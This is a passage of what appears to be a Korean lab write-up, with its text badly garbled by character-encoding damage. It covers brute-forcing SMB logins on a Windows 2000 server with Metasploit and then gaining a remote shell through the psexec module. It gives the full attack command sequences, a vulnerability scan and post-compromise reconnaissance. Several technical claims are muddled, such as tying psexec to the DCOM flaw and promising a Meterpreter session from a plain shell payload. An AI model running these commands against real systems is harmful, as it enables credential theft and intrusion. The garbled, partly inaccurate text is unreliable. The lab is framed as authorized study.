! ์ด ํฌ์คํธ์ ๋ด์ฉ์ 2019๋ ์ ๊ณต ๊ฐ์์์ ๋ค๋ฃฌ ๋ฆฌ๋ ์ค ๋ณด์ ์ค์ต์ ๊ธฐ๋ก์ฉ์ด๋ฉฐ, ์ด๋ ํ์ต ๋ชฉ์ ์ผ๋ก๋ง ์ฌ์ฉ๋์ด์ผ ํฉ๋๋ค.
! ์ด๋ ํ ๊ฒฝ์ฐ์๋ ์ด๋ฌํ ๊ธฐ์ ์ ์ ์ฉํ๊ฑฐ๋ ๋ถ๋ฒ์ ์ธ ํ๋์ ์ฌ์ฉํด์๋ ์ ๋ฉ๋๋ค.
! ๋ชจ์ ํดํน๊ณผ ๊ด๋ จ๋ ์ค์ต์ ํฉ๋ฒ์ ์ธ ํ๊ฒฝ์์๋ง ์ํ๋์ด์ผ ํ๋ฉฐ, ๋ฌด๋จ์ผ๋ก ๋ค๋ฅธ ์ฌ๋์ ์์คํ ์ ์ ๊ทผํ๋ ๋ฑ์ ํ์๋ ๋ฒ์ ์ธ ๋ฌธ์ ๋ก ์ด์ด์ง ์ ์์ต๋๋ค. ์ด๋ฌํ ๊ธฐ์ ์ ์ฌ์ฉํ ๋์๋ ํญ์ ์ค๋ฆฌ์ ์ธ ์ฑ ์์ ๊ฐ๊ณ ํ๋ํด์ผ ํฉ๋๋ค.
๐ก ์ทจ์ฝ์ ์ ๋ฆฌ
Windows 2000์์ SMB ํ๋กํ ์ฝ๊ณผ ๊ด๋ จ๋ ์ทจ์ฝ์ ์ ์ฌ๋ฌ๊ฐ์ง๊ฐ ์์ง๋ง, ``psexec``๊ณต๊ฒฉ๊ณผ ์ง์ ์ ์ผ๋ก ์ฐ๊ด๋ ๋ํ์ ์ธ ์ทจ์ฝ์ ์ SMB ์ธ์ฆ ์ฐํ ๋๋ ๊ด๋ฆฌ์ ๊ถํ ํ์ทจ์ ๊ด๋ จ๋ ๊ฒ์ด๋ค.
๐ SMB ์ธ์ฆ ์ฐํ ์ทจ์ฝ์ ๊ฐ์ (CVE-2000-0871)
- ์ํฅ๋ฐ๋ ์ํํธ์จ์ด: Microsoft IIS 5.0 (Windows 2000, Windows XP)
- ์ทจ์ฝ์ ์ ํ: SMB ์ธ์ฆ ์ฐ
- ๊ณต๊ฒฉ ๋์ด๋: ์๋์ ์ผ๋ก ์ฌ์ (์ธ์ฆ ์ฐํ๊ฐ ๊ฐ๋ฅํ๊ณ , ์๊ฒฉ์์ ์ฝ๊ฒ ์ ๊ทผ ๊ฐ๋ฅ)
- ๊ณต๊ฒฉ ๊ฒฐ๊ณผ: ์๊ฒฉ ์ฝ๋ ์คํ (RCE)
- ๊ณต๊ฒฉ ๋ฐฉ์: SMB ํ๋กํ ์ฝ์ ํตํด ์๋ชป๋ ์ฌ์ฉ์ ์ ๋ณด๋ก ์ธ์ฆ์ ์ฐํํ์ฌ ์๊ฒฉ์์ ๋ช ๋ น ์คํ ๋๋ ํ์ผ ์ ๊ทผ
NVD - CVE-2000-0871
References to Advisories, Solutions, and Tools By selecting these links, you will be leaving NIST webspace. We have provided these links to other web sites because they may have information that would be of interest to you. No inferences should be drawn on
nvd.nist.gov
๐ SMB ๋ฒํผ ์ค๋ฒํ๋ก์ฐ ์ทจ์ฝ์ ๊ฐ์ (CVE-2003-0352)
- ์ํฅ๋ฐ๋ ์ํํธ์จ์ด: Microsoft Windows 2000, Windows XP, Windows Server 2003 (SMB ์๋น์ค ๊ด๋ จ)
- ์ทจ์ฝ์ ์ ํ: ๋ฒํผ ์ค๋ฒํ๋ก์ฐ (Buffer Overflow)
- ๊ณต๊ฒฉ ๋์ด๋: ์ฌ์ (์๊ฒฉ์์ SMB ํฌํธ๋ฅผ ํตํด ์ ์ฉ ๊ฐ๋ฅ)
- ๊ณต๊ฒฉ ๊ฒฐ๊ณผ: ์๊ฒฉ ์ฝ๋ ์คํ (RCE)
- ๊ณต๊ฒฉ ๋ฐฉ์:ํน์ SMB ํจํท์ ์ ์กํ์ฌ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ๋ฅผ ์ ๋ฐ
NVD - CVE-2003-0352
CVE-2003-0352 Detail Modified This vulnerability has been modified since it was last analyzed by the NVD. It is awaiting reanalysis which may result in further changes to the information provided. Description Buffer overflow in a certain DCOM interface for
nvd.nist.gov
1๏ธโฃ ์ค์ต ํ๊ฒฝ ๊ตฌ์ฑ
์ค์ต์ ์ํด์๋ Kali Linux์ ํ๊ฒ ์๋์ฐ ์๋ฒ(์๋์ฐ 2000 ์๋ฒ)๊ฐ ํ์ํ๋ค.
์๋์ฐ 2000 ์๋ฒ๋ ๊ธฐ๋ณธ์ ์ผ๋ก SMB ์๋น์ค๋ฅผ ์ ๊ณตํ๊ณ ์์ผ๋, ์ด ๋ถ๋ถ์ ํ๊ฒ์ผ๋ก ์ผ์ ์ ์๋ค.
- Kali Linux (๊ณต๊ฒฉ์ ์์คํ )
- Windows 2000 Server (ํ๊ฒ ์์คํ )
- ํ๊ฒ ์์คํ ์ ์๋ํ ์ฌ์ฉ์๋ช ๋ชฉ๋ก์ด ์๋ ํ์ผ / ํจ์ค์๋ ๋ชฉ๋ก์ด ์๋ ํ์ผ
2๏ธโฃ SMB ๋ก๊ทธ์ธ ์๋
``use_auxiliary/scanner/smb/smb_login``์ SMB ์๋ฒ์์ ๊ฐ๋ฅํ ์ฌ์ฉ์ ๊ณ์ ๊ณผ ๋น๋ฐ๋ฒํธ ์กฐํฉ์ ์ฐพ๋ ๋ฐ ์ฌ์ฉ๋๋ค.
์ด๋ฅผ ํตํด ์์คํ ์ ๋ํ ์ธ์ฆ ์ ๋ณด๋ฅผ ํ์ทจํ ์ ์๋ค.
๐น1. Metasploit ์คํ
msfconsole
๐น2. SMB ๋ก๊ทธ์ธ ์ค์บ๋ ์ค์
``auxiliary/scanner/smb/smb_login``์ ์ฌ์ฉํด์ ํ๊ฒ ์๋์ฐ 2000 ์๋ฒ์์ ID์ ๋น๋ฐ๋ฒํธ ํ์ทจ๋ฅผ ์๋ํ๋ค.
use auxiliary/scanner/smb/smb_login
set rhost <ํ๊ฒ ์๋ฒ IP>
set user_file <์ฌ์ฉ์๋ช
ํ์ผ ๊ฒฝ๋ก>
set pass_file <ํจ์ค์๋ ํ์ผ ๊ฒฝ๋ก>
set stop_on_success true
set threads 256
run
- ``use auxiliary/scanner/smb/smb_login``: Metasploit์ ``smb_login`` ๋ชจ๋์ ์ฌ์ฉํ์ฌ SMB ๋ก๊ทธ์ธ ๊ณต๊ฒฉ์ ์ํ
- ``rhost``: ๊ณต๊ฒฉ ๋์ ์๋ฒ์ IP๋ฅผ ์ง์
- ``user_file``: ์๋ํ ์ฌ์ฉ์๋ช ๋ชฉ๋ก์ด ์๋ ํ์ผ์ ์ค์
- ``pass_file``: ์๋ํ ๋น๋ฐ๋ฒํธ ๋ชฉ๋ก์ด ์๋ ํ์ผ์ ์ค์
- ``stop_on_success true``: ๋ก๊ทธ์ธ์ ์ฑ๊ณตํ๋ฉด ์ฆ์ ๊ณต๊ฒฉ์ ์ค๋จ
- ``threads 256``: ๋ฉํฐ์ค๋ ๋ฉ์ ์ฌ์ฉํ์ฌ 256๊ฐ์ ์ฐ๋ ๋๋ฅผ ๋์์ ์คํ (์๋ ํฅ์ ๊ฐ๋ฅ)
์ด ๋ช ๋ น์ด๋ฅผ ํตํด ์ฌ๋ฌ ์ฌ์ฉ์๋ช /๋น๋ฐ๋ฒํธ ์กฐํฉ์ ์๋ํ๊ณ ์ฑ๊ณต์ ์ธ ๋ก๊ทธ์ธ ์๋๋ฅผ ํ์ธํ ์ ์๋ค.
๐ ๊ณต๊ฒฉ ๊ฒฐ๊ณผ
- ๋ก๊ทธ์ธ ์ ๋ณด ์์๋
- ID: administrator, Password: 123456
3๏ธโฃ ์๋์ฐ 2000 ์๋ฒ์ ์ผ๋ฐ ์๋น์ค ์ทจ์ฝ์ ํ์ฉ (psexec ์นจํฌ)
๐น1. ์ผ๋ฐ ์๋น์ค ์ทจ์ฝ์ ํ์ธ
SMB ํฌํธ๊ฐ ์ด๋ ค์์ผ๋ฉด ์ทจ์ฝ์ ์ด ์์ ์ ์๋ค. ``nmap``์ ํตํด ํ์ธ ๊ฐ๋ฅํ๋ค.
nmap -p 139,445 --script smb-vuln* <ํ๊ฒ IP>
๐น2. psexec ์ด์ฉํ ์๊ฒฉ ์นจํฌ
``ms03_026_dcom`` ์ทจ์ฝ์ ์ด ์กด์ฌํ๋ ์์คํ ์์๋ ``psexec``๋ฅผ ์ฌ์ฉํ์ฌ ์๊ฒฉ์์ ๋ช ๋ น์ ์คํํ ์ ์๋ค.
use exploit/windows/smb/psexec
set payload windows/shell/bind_tcp
set rhost <ํ๊ฒ IP>
set smbuser <ํ์ทจํ ์ฌ์ฉ์๋ช
>
set smbpass <ํ์ทจํ ๋น๋ฐ๋ฒํธ>
exploit
- ``use exploit/windows/smb/psexec``: Windows SMB ์ด์ฉํด ``psexec``๋ฐฉ์์ผ๋ก ๋ช ๋ น์ ์คํํ๋ ์ต์คํ๋ก์์ ์ฌ์ฉ
- ``payload windows/shell/bind_tcp``: Windows์์ bind shell (TCP ํฌํธ ๋ฆฌ์ค๋) ๋ฐฉ์์ผ๋ก ์์ ์คํ
- ``rhosts``: ๊ณต๊ฒฉ ๋์ ์๋ฒ์ IP๋ฅผ ์ง์
- ``smbuser``: ์์ ``smb_login`` ๋ชจ๋๋ก ์ป์ ์ฌ์ฉ์ ๊ณ์ ์ ๋ ฅ
- ``smbpass``: ์์ ``smb_login`` ๋ชจ๋๋ก ์ป์ ์ฌ์ฉ์ ๊ณ์ ์ ํจ์ค์๋ ์ ๋ ฅ
์นจํฌ์ ์ฑ๊ณตํ๋ฉด Meterpreter ์ธ์ ์ ํตํด ํ๊ฒ ์์คํ ์ ์ ์ดํ ์ ์๋ค.
๐น3. ๋์ ์์คํ ํ์ ๋ฐ ๋คํธ์ํฌ ๋ถ์
C:\>dir
- ``dir`` ๋ช ๋ น์ด๋ฅผ ์ฌ์ฉํ์ฌ ``C:`` ๋๋ผ์ด๋ธ์ ํ์ผ ์์คํ ์ ์ ๊ทผํ์ฌ ํด๋น ๋๋ ํฐ๋ฆฌ ์์ ์๋ ๋ชจ๋ ํ์ผ๊ณผ ํด๋ ํ์ธ
- ์ด๋ฅผ ํตํด ์์คํ ์ ํ์ผ ๊ตฌ์กฐ๋ฅผ ๋ถ์ํ๊ณ ์ถ๊ฐ์ ์ธ ๊ณต๊ฒฉ ๊ฒฝ๋ก๋ฅผ ํ์ ๊ฐ๋ฅ
- ์ฌ์ฉ ๊ฐ๋ฅํ ๋ค๋ฅธ ๋ช ๋ น์ด๋ ``help``๋ก ํ์ธ ๊ฐ๋ฅ
C:\Inetpub>cd wwwroot
C:\Inetpub\wwwroot>dir
- ``wwwroot``๋ ๋ณดํต ์น ์๋ฒ๊ฐ ์ฌ์ฉํ๋ ๊ธฐ๋ณธ๋๋ ํฐ๋ฆฌ ์ด๋ฆ์ด๋ค.
- ์๋ฅผ ๋ค์ด, IIS(Internet Information Services) ์น ์๋ฒ๋ ๊ธฐ๋ณธ์ ์ผ๋ก ``C:\inetpub\wwwroot``๋ผ๋ ๋๋ ํฐ๋ฆฌ๋ฅผ ์ฌ์ฉํ์ฌ ์น ํ์ด์ง ํ์ผ์ ์ ์ฅํ๋ค.
- ๋ง์ฝ ์น ์๋ฒ์ ์ทจ์ฝ์ ์ด ์กด์ฌํ๋ค๋ฉด, ์ฌ๊ธฐ์ ์ ์ฑ ์ฝ๋๋ฅผ ์ ๋ก๋ํ๊ฑฐ๋, ๊ธฐ์กด ํ์ผ์ ์์ ํ ์ ์๋ค.
C:\>netstat -n
- ``netstat`` ๋ช ๋ น์ด๋ ๋คํธ์ํฌ ์ฐ๊ฒฐ ์ํ๋ฅผ ํ์ธํ๋ ๋ฐ ์ฌ์ฉ๋๋ค.
- ``netstat -n``์ ์คํํ๋ฉด ํ์ฌ ์์คํ ์์ ์ด๋ฆฐ ํฌํธ, ์ฐ๊ฒฐ๋ IP ์ฃผ์, ์ํ(์: LISTENING, ESTABLISHED ๋ฑ)๋ฅผ ํ์ธํ ์ ์๋ค.
- ์ด๋ฅผ ํตํด ๊ณต๊ฒฉ์๋ ํด๋น ์์คํ ์ด ์ด๋ค ์ธ๋ถ ์์คํ ๊ณผ ํต์ ์ค์ธ์ง๋ฅผ ์ ์ ์๋ค.
- ์๋ฅผ ๋ค์ด, ํน์ ํฌํธ๊ฐ ์ด๋ฆฐ ์ํ๋ก ์๋น์ค๊ฐ ์คํ ์ค์ด๋ผ๋ฉด, ํด๋น ์๋น์ค์ ์ทจ์ฝ์ ์ ์ ์ฉํ ์ ์๋ ๊ธฐํ๋ฅผ ์ฐพ์ ์ ์๋ค.